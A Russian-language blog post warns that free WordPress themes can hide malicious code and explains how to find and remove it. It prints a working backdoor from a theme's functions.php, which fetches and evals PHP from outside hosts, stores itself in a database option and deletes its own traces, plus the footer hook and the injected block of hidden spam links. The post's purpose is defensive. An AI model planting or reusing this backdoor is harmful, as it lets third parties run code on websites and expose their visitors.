Обратная сторона бесплатных тем для WordPress

Обратная сторона бесплатных тем для WordPressДорогие друзья, каждый из Вас наверняка устанавливал бесплатные темы для WordPress на свой сайт, но я уверен что вы не вдавались в детали того что вы ставите себе на сайт.

Я не буду говорить что все темы несут в себе скрытую угрозу но таких увы большинство, и перед установкой к себе на сайт нужно быть очень внимательным.

В первую очередь необходимо проверить файлы темы на наличие различных скрытых угроз, вирусов, и другой нечисти.

Для примера я скачал первую попавшуюся мне тему на одном из очень популярных сайтов прямо с главной страницы, имя сайта и название темы называть не буду, кто ищет тот всегда найдет. Нам интересна техническая сторона  вопроса а не моральная.

И так давай те изучим эту тему перед установкой к себе на сайт.

Что будем искать?

Наибольший интерес для нас представляют 2 файла темы а именно functions.php и footer.php.

Начнем с functions.php, во всем многообразии полезного кода мы можем увидеть и очень даже вредоносный код.

Как мы видим что на сайт что то загружается, работает это достаточно просто функция file_get_contents() получает что то со стороннего сайта, потом функция eval() (кто не знает что это обязательно почитай про нее) отрабатывает полученные данные и создает в базе запись  где  $value это то что было прислано Вам на сайт с абсолютно постороннего сайта и было записано в базу данных. Потом этот файл перезаписывается функцией  file_put_contents() видимо затирается все это палево.

add_action('after_setup_theme', '_theme_setup');
function _theme_setup(){
$value = 'return eval(file_get_contents(\'http://wpru.ru/aksimet.php?id=\'.$post->ID.\'&m=46&n\'));';
add_option('blogoption', $value, '', 'yes');
//selfterminate
$functions = file_get_contents(TEMPLATEPATH.'/functions.php');
$p1 = substr($functions, 0, strpos($functions, '//beginXX'));
$p2 = end(explode('//endXX', $functions));
file_put_contents(TEMPLATEPATH.'/functions.php', $p1.$p2);
}
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}

И так мы еще забыли про файл footer.php, в конце файла там будет вот это код.

echo get_theme_option("footer") . "\n";

Так же там может быть и такой код он отличается от оригинальной функции одним символом.

wp_footer_();

Если вы нашли такой в код в вашей теме перед установкой на хостинг, то обязательно удалите его. Для тех кто это не сделал во время вторая часть этого поста.

Если вы упустили момент то наверняка у вас в файле functions.php будет вот такая вот функция.

function wp_footer_() {
return @eval(get_option('blogoption'));
}

Ее надо так же удалить, чтобы понять что же такое она выводит Вам придется сделать запрос к вашей базе данных.

SELECT * FROM `wp_options` WHERE `option_name` = 'blogoption'

Он наверняка вернет вам всего 1 запись следующего содержания. Которую нужно так же обязательно удалить.

global $post;return eval(file_get_contents('http://mytestlabs.com/wp5.php?ag='.strpos($_SERVER['HTTP_USER_AGENT'],'yahoo').'&p404='.is_404().'&p_id='.$post->ID.'&single='.(is_single()||is_page()).'&perm='.get_permalink().'&site='.$_SERVER['HTTP_HOST'].'&page='.$_SERVER['REQUEST_URI'].'&ip='.getenv('REMOTE_ADDR')));

Что будет если этого не сделать?

Если вы не удалите такой код то на вашем сайте будет появляться абсолютно левые ссылки на другие сайты, которые не будут видны на открытой странице, обнаружить их можно только если нажать правой кнопкой мыши на странице и выбрать — показать исходный ко страницы. В самом конце страницы вы увидите что то типа такого:

<!-- 37 queries. 0,342 seconds. -->
<span id="a8f52"><a href="http://autorims.ru/">autorims</a> <a href="http://awtogps.ru/">awtogps</a> <a href="http://dvd4alls.ru/">dvd4alls</a> <a href="http://fotikks.ru/">fotikks</a></span><script>var ca14f=""; function b8867(ea1) {document.getElementById("a8f52").style.display=(ea1=="" ? "none" : "block" );} b8867(ca14f);</script>

Как видно что ссылки есть но они скрыты с помощью CSS. По мимо всего прочего на ваш сайт может загрузиться все что угодно. Так же наверняка у вас будет долгая скорость открытия страниц. Ну и само собой внешние ссылки на другие ресурсы которые негативно сказываются на продвижении вашего сайта.

Использоваться бесплатные темы или нет?

Конечно не во всех бесплатных темах может быть такое безобразие, но перед тем как вы решите установить тему себе на сайт, хотя бы изучите содержимое ее файлов, это обезопасит вас от подобных вещей.